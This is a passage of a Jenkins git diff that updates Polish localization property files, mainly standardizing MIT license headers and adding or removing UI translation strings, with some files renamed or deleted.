a/core/src/main/resources/hudson/model/User/sidepanel_pl.properties b/core/src/main/resources/hudson/model/User/sidepanel_pl.properties index 5cfaa27c4a..aaf743f998 100644 --- a/core/src/main/resources/hudson/model/User/sidepanel_pl.properties +++ b/core/src/main/resources/hudson/model/User/sidepanel_pl.properties @@ -1,7 +1,27 @@ -# This file is under the MIT License by authors +# The MIT License +# +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. Builds=Zadania Configure=Konfiguracja Delete=Usu\u0144 -My\ Views=Moje widoki People=U\u017Cytkownicy +Status=Status diff --git a/core/src/main/resources/hudson/model/View/AsynchPeople/index_pl.properties b/core/src/main/resources/hudson/model/View/AsynchPeople/index_pl.properties index 0c78d03b5a..253a5acf3e 100644 --- a/core/src/main/resources/hudson/model/View/AsynchPeople/index_pl.properties +++ b/core/src/main/resources/hudson/model/View/AsynchPeople/index_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -20,7 +20,6 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -Last\ Active=Ostatnio aktywny Name=Nazwa On=Na People=U\u017Cytkownicy diff --git a/core/src/main/resources/hudson/widgets/BuildHistoryWidget/entries_pl.properties b/core/src/main/resources/hudson/model/View/index_pl.properties similarity index 89% rename from core/src/main/resources/hudson/widgets/BuildHistoryWidget/entries_pl.properties rename to core/src/main/resources/hudson/model/View/index_pl.properties index e306eb89d1..affec34f25 100644 --- a/core/src/main/resources/hudson/widgets/BuildHistoryWidget/entries_pl.properties +++ b/core/src/main/resources/hudson/model/View/index_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -19,6 +19,4 @@ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. - -cancel\ this\ build=anuluj build -pending=oczekiwanie +Dashboard=Tablica diff --git a/core/src/main/resources/hudson/model/View/newJob_pl.properties b/core/src/main/resources/hudson/model/View/newJob_pl.properties index 98a5d8467b..fe4e021424 100644 --- a/core/src/main/resources/hudson/model/View/newJob_pl.properties +++ b/core/src/main/resources/hudson/model/View/newJob_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -21,7 +21,6 @@ # THE SOFTWARE. NewJob=Nowy {0} -JobName=Nazwa {0} ItemName.help=Pole wymagane ItemName.label=Podaj nazw\u0119 projektu ItemName.validation.required=To pole nie mo\u017Ce by\u0107 puste, podaj nazw\u0119 projektu @@ -29,4 +28,3 @@ ItemType.validation.required=Wybierz rodzaj projektu CopyOption.placeholder=Podaj nazw\u0119 CopyOption.description=Je\u015Bli chcesz stworzy\u0107 nowy projekt na podstawie istniej\u0105cego, mo\u017Cesz u\u017Cy\u0107 tej opcji CopyOption.label=Kopiuj z -CopyExisting=Kopiuj z istniej\u0105cego {0} diff --git a/core/src/main/resources/hudson/model/View/sidepanel_pl.properties b/core/src/main/resources/hudson/model/View/sidepanel_pl.properties index c911ad469a..d600f794c6 100644 --- a/core/src/main/resources/hudson/model/View/sidepanel_pl.properties +++ b/core/src/main/resources/hudson/model/View/sidepanel_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -24,8 +24,6 @@ Build\ History=Historia zada\u0144 Check\ File\ Fingerprint=Sprawd\u017A odcisk palca pliku Delete\ View=Usu\u0144 widok Edit\ View=Edytuj widok -Manage\ Jenkins= -New\ Job=Nowe zadanie NewJob=Nowy {0} People=U\u017Cytkownicy Project\ Relationship=Projekty powi\u0105zane diff --git a/core/src/main/resources/lib/form/apply_zh_TW.properties b/core/src/main/resources/hudson/node_monitors/AbstractDiskSpaceMonitor/config_pl.properties similarity index 91% rename from core/src/main/resources/lib/form/apply_zh_TW.properties rename to core/src/main/resources/hudson/node_monitors/AbstractDiskSpaceMonitor/config_pl.properties index 8b3022f372..422343bc7e 100644 --- a/core/src/main/resources/lib/form/apply_zh_TW.properties +++ b/core/src/main/resources/hudson/node_monitors/AbstractDiskSpaceMonitor/config_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2013, Chunghwa Telecom Co., Ltd., Pei-Tang Huang +# Copyright (c) 2016, Damian Szczepanik # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -19,5 +19,4 @@ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. - -Apply=\u5957\u7528 +Free\ Space\ Threshold=Dolny pr\u00F3g wolnego miejsca diff --git a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/_entryForm_pl.properties b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/_entryForm_pl.properties index 789580f522..cefd8b8795 100644 --- a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/_entryForm_pl.properties +++ b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/_entryForm_pl.properties @@ -1,6 +1,25 @@ -# This file is under the MIT License by authors +# The MIT License +# +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. -Sign\ up=Zarejestruj si\u0119 Confirm\ password=Powt\u00F3rz has\u0142o E-mail\ address=Adres e-mail Full\ name=Pe\u0142na nazwa diff --git a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/index_pl.properties b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/index_pl.properties new file mode 100644 index 0000000000..1d1ea78072 --- /dev/null +++ b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/index_pl.properties @@ -0,0 +1,25 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Users=U\u017Cytkownicy +# These users can log into Jenkins. This is a sub set of this list, \ +Name=Nazwa +User\ Id=Identyfikator diff --git a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/sidepanel_pl.properties b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/sidepanel_pl.properties new file mode 100644 index 0000000000..3dbafb505c --- /dev/null +++ b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/sidepanel_pl.properties @@ -0,0 +1,24 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Back\ to\ Dashboard=Powr\u00F3t do tablicy +Manage\ Jenkins=Zarz\u0105dzaj Jenkinsem +Create\ User=Stw\u00F3rz u\u017Cytkownika diff --git a/core/src/main/resources/hudson/security/Messages_pl.properties b/core/src/main/resources/hudson/security/Messages_pl.properties index 347024e6a5..93cdda1065 100644 --- a/core/src/main/resources/hudson/security/Messages_pl.properties +++ b/core/src/main/resources/hudson/security/Messages_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2016, Damian Szczepanik +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -19,5 +19,9 @@ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -GlobalSecurityConfiguration.DisplayName=Konfiguracja globalnych zabezpiecze\u0144 -GlobalSecurityConfiguration.Description=Bezpiecze\u0144stwo Jenkinsa: okre\u015Bl, kto ma dost\u0119p i mo\u017Ce u\u017Cywa\u0107 systemu. +# Manage Users +HudsonPrivateSecurityRealm.ManageUserLinks.DisplayName=Zarz\u0105dzaj u\u017Cytkownikami +# LDAP +LDAPSecurityRealm.DisplayName=LDAP +# Create/delete/modify users that can log in to this Jenkins +HudsonPrivateSecurityRealm.ManageUserLinks.Description=Dodawaj, usuwaj i modyfikuj u\u017Cytkownik\u00F3w, kt\u00F3rzy mog\u0105 si\u0119 logowa\u0107 do Jenkinsa diff --git a/core/src/main/resources/hudson/slaves/Messages_pl.properties b/core/src/main/resources/hudson/slaves/Messages_pl.properties new file mode 100644 index 0000000000..f09693fdf4 --- /dev/null +++ b/core/src/main/resources/hudson/slaves/Messages_pl.properties @@ -0,0 +1,23 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +# Environment variables +EnvironmentVariablesNodeProperty.displayName=Zmienne \u015Brodowiskowe diff --git a/core/src/main/resources/hudson/model/AbstractItem/noWorkspace_pl.properties b/core/src/main/resources/hudson/tools/Messages_pl.properties similarity index 89% rename from core/src/main/resources/hudson/model/AbstractItem/noWorkspace_pl.properties rename to core/src/main/resources/hudson/tools/Messages_pl.properties index bd515a74b8..6668add871 100644 --- a/core/src/main/resources/hudson/model/AbstractItem/noWorkspace_pl.properties +++ b/core/src/main/resources/hudson/tools/Messages_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2016, Damian Szczepanik # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -19,5 +19,5 @@ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. - -Error:\ no\ workspace=B\u0142\u0105d: brak przestrzeni roboczej +# Tool Locations +ToolLocationNodeProperty.displayName=Lokalizacja narz\u0119dzi diff --git a/core/src/main/resources/hudson/util/Messages_pl.properties b/core/src/main/resources/hudson/util/Messages_pl.properties new file mode 100644 index 0000000000..3ed7b35e7e --- /dev/null +++ b/core/src/main/resources/hudson/util/Messages_pl.properties @@ -0,0 +1,23 @@ +# The MIT License +# +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +# In sync +ClockDifference.InSync=Zsynchronizowany diff --git a/core/src/main/resources/hudson/widgets/HistoryWidget/index_pl.properties b/core/src/main/resources/hudson/widgets/HistoryWidget/index_pl.properties index 7e8a35df85..5bae63c7f7 100644 --- a/core/src/main/resources/hudson/widgets/HistoryWidget/index_pl.properties +++ b/core/src/main/resources/hudson/widgets/HistoryWidget/index_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -20,6 +20,8 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -More\ ...=Wi\u0119cej ... for\ all=Dla wszystkich for\ failures=dla nieudanych +Clear=wyszy\u015B\u0107 +trend=trend +find=szukaj diff --git a/core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/footer_pl.properties b/core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/footer_pl.properties new file mode 100644 index 0000000000..3253198287 --- /dev/null +++ b/core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/footer_pl.properties @@ -0,0 +1,24 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +# There are {0} active administrative monitors. +tooltip=-Znaleziono {0} aktywnych powiadomie\u0144 dla administrator\u00F3w +Manage\ Jenkins=Zarz\u0105dzaj Jenkinsem diff --git a/core/src/main/resources/jenkins/model/Jenkins/configure_pl.properties b/core/src/main/resources/jenkins/model/Jenkins/configure_pl.properties index 52107feb39..a1431d07b8 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/configure_pl.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/configure_pl.properties @@ -1,7 +1,28 @@ -# This file is under the MIT License by authors - +# The MIT License +# +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. Build\ Record\ Root\ Directory=Katalog bazowy zadania budowy Home\ directory=Katalog domowy LOADING=Wczytywanie System\ Message=Komunikat systemowy Workspace\ Root\ Directory=Katalog bazowy przestrzeni roboczej +Save=Zapisz +Apply=Zastosuj diff --git a/core/src/main/resources/jenkins/model/Jenkins/manage_pl.properties b/core/src/main/resources/jenkins/model/Jenkins/manage_pl.properties index b6ad8a6ec2..36c0c963b1 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/manage_pl.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/manage_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -20,25 +20,5 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -Add,\ remove,\ control\ and\ monitor\ the\ various\ nodes\ that\ Jenkins\ runs\ jobs\ on.=Dodaj, usu\u0144, kontroluj i monitoruj r\u00F3\u017Cne w\u0119z\u0142y, kt\u00F3re Jenkins obs\u0142uguje. -Add,\ remove,\ disable\ or\ enable\ plugins\ that\ can\ extend\ the\ functionality\ of\ Jenkins.=Dodaj, usu\u0144, wy\u0142\u0105cz lub w\u0142\u0105cz wtyczki, kt\u00F3re mog\u0105 rozszerzy\u0107 funkcjonalno\u015B\u0107 Jenkinsa. -Configure\ System=Konfiguracja systemu -Configure\ global\ settings\ and\ paths.=Konfiguruj ustawienia globalne i \u015Bcie\u017Cki. -Discard\ all\ the\ loaded\ data\ in\ memory\ and\ reload\ everything\ from\ file\ system.=Porzu\u0107 wszystkie niezapisane zmiany i wczytaj wszystko z plik\u00F3w konfiguracyjnych. -Displays\ various\ environmental\ information\ to\ assist\ trouble-shooting.=Wy\u015Bwietlaj r\u00F3\u017Cne informacje \u015Brodowiskowe, by pom\u00F3c w rozwi\u0105zywaniu problem\u00F3w. -Executes\ arbitrary\ script\ for\ administration/trouble-shooting/diagnostics.=Wykonywanie dowolnych skrypt\u00F3w dla administracji/rozwi\u0105zywania b\u0142\u0119d\u00F3w/diagnostyki. -JenkinsCliText=Dost\u0119p/zarz\u0105dzanie Jenkinsem z twojej pow\u0142oki, lub skryptu -Load\ Statistics=Statystyki \u0141adowania -LoadStatisticsText=Sprawd\u017A swoje zmniejszone zasoby i sprawd\u017A czy potrzebujesz wi\u0119cej komputer\u00F3w do budowy. Manage\ Jenkins=Zarz\u0105dzaj Jenkinsem -Manage\ Nodes=Zarz\u0105dzaj W\u0119z\u0142ami -Manage\ Plugins=Zarz\u0105dzaj wtyczkami -Prepare\ for\ Shutdown=Przygotuj si\u0119 do wy\u0142\u0105czenia -Reload\ Configuration\ from\ Disk=Wczytaj ponownie zapisan\u0105 konfiguracj\u0119 -Script\ Console=Scenariusz konsoli -Stops\ executing\ new\ builds,\ so\ that\ the\ system\ can\ be\ eventually\ shut\ down\ safely.=Zatrzyma wykonanie nowych build\u00F3w, tak by system m\u00F3g\u0142 by\u0107 bezpiecznie wy\u0142\u0105czony. -System\ Information=Informacje o systemie -System\ Log=Log systemu -SystemLogText=Log systemowy przechwytuje wyj\u015Bcie z java.util.logging zwi\u0105zane z Jenkinsem. -Useful\ when\ you\ modified\ config\ files\ directly\ on\ disk.=Przydatne gdy modyfikowa\u0142e\u015B pliki konfiguracyjne bezpo\u015Brednio na dysku serwera. are.you.sure={0}: czy jeste\u015B pewien? diff --git a/core/src/main/resources/jenkins/model/Jenkins/oops_pl.properties b/core/src/main/resources/jenkins/model/Jenkins/oops_pl.properties new file mode 100644 index 0000000000..a70107665c --- /dev/null +++ b/core/src/main/resources/jenkins/model/Jenkins/oops_pl.properties @@ -0,0 +1,26 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Twitter\:\ @jenkinsci=Twitter\:\ @jenkinsci +Mailing\ Lists=Lista mailingowa +Oops!=Oops! +Bug\ tracker=Zg\u0142aszanie b\u0142\u0119d\u00F3w +Jenkins\ project=Projekt Jenkins diff --git a/core/src/main/resources/jenkins/model/Messages_pl.properties b/core/src/main/resources/jenkins/model/Messages_pl.properties index bd0c8dd435..5105a854b6 100644 --- a/core/src/main/resources/jenkins/model/Messages_pl.properties +++ b/core/src/main/resources/jenkins/model/Messages_pl.properties @@ -1,5 +1,28 @@ # The MIT License - +# +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. BuildDiscarderProperty.displayName=Porzu\u0107 stare zadania ParameterizedJobMixIn.build_with_parameters=Uruchom z parametrami ParameterizedJobMixIn.build_now=Uruchom +# address not configured yet +Mailer.Address.Not.Configured=adres jeszcze nie jest skonfigurowany +# Please set a valid host name, instead of localhost +Mailer.Localhost.Error=Ustaw prawid\u0142ow\u0105 nazw\u0119 hosta, inn\u0105 ni\u017C localhost diff --git a/core/src/main/resources/lib/form/advanced_pl.properties b/core/src/main/resources/lib/form/advanced_pl.properties index 9984dcd778..d0bbf08b26 100644 --- a/core/src/main/resources/lib/form/advanced_pl.properties +++ b/core/src/main/resources/lib/form/advanced_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -21,3 +21,5 @@ # THE SOFTWARE. Advanced=Zaawansowane +# One or more fields in this block have been edited. +customizedFields=Co najmniej jedno pole w tym bloku zosta\u0142o zmodyfikowane diff --git a/core/src/main/resources/lib/form/apply_ca.properties b/core/src/main/resources/lib/form/apply_ca.properties deleted file mode 100644 index 2dc0a2191d..0000000000 --- a/core/src/main/resources/lib/form/apply_ca.properties +++ /dev/null @@ -1,3 +0,0 @@ -# This file is under the MIT License by authors - -Apply=Aplica diff --git a/core/src/main/resources/lib/form/apply_cs.properties b/core/src/main/resources/lib/form/apply_cs.properties deleted file mode 100644 index 71bcb17d35..0000000000 --- a/core/src/main/resources/lib/form/apply_cs.properties +++ /dev/null @@ -1,3 +0,0 @@ -# This file is under the MIT License by authors - -Apply=Pou\u017E\u00EDt diff --git a/core/src/main/resources/lib/form/apply_es.properties b/core/src/main/resources/lib/form/apply_es.properties deleted file mode 100644 index 2fd7068288..0000000000 --- a/core/src/main/resources/lib/form/apply_es.properties +++ /dev/null @@ -1,23 +0,0 @@ -# The MIT 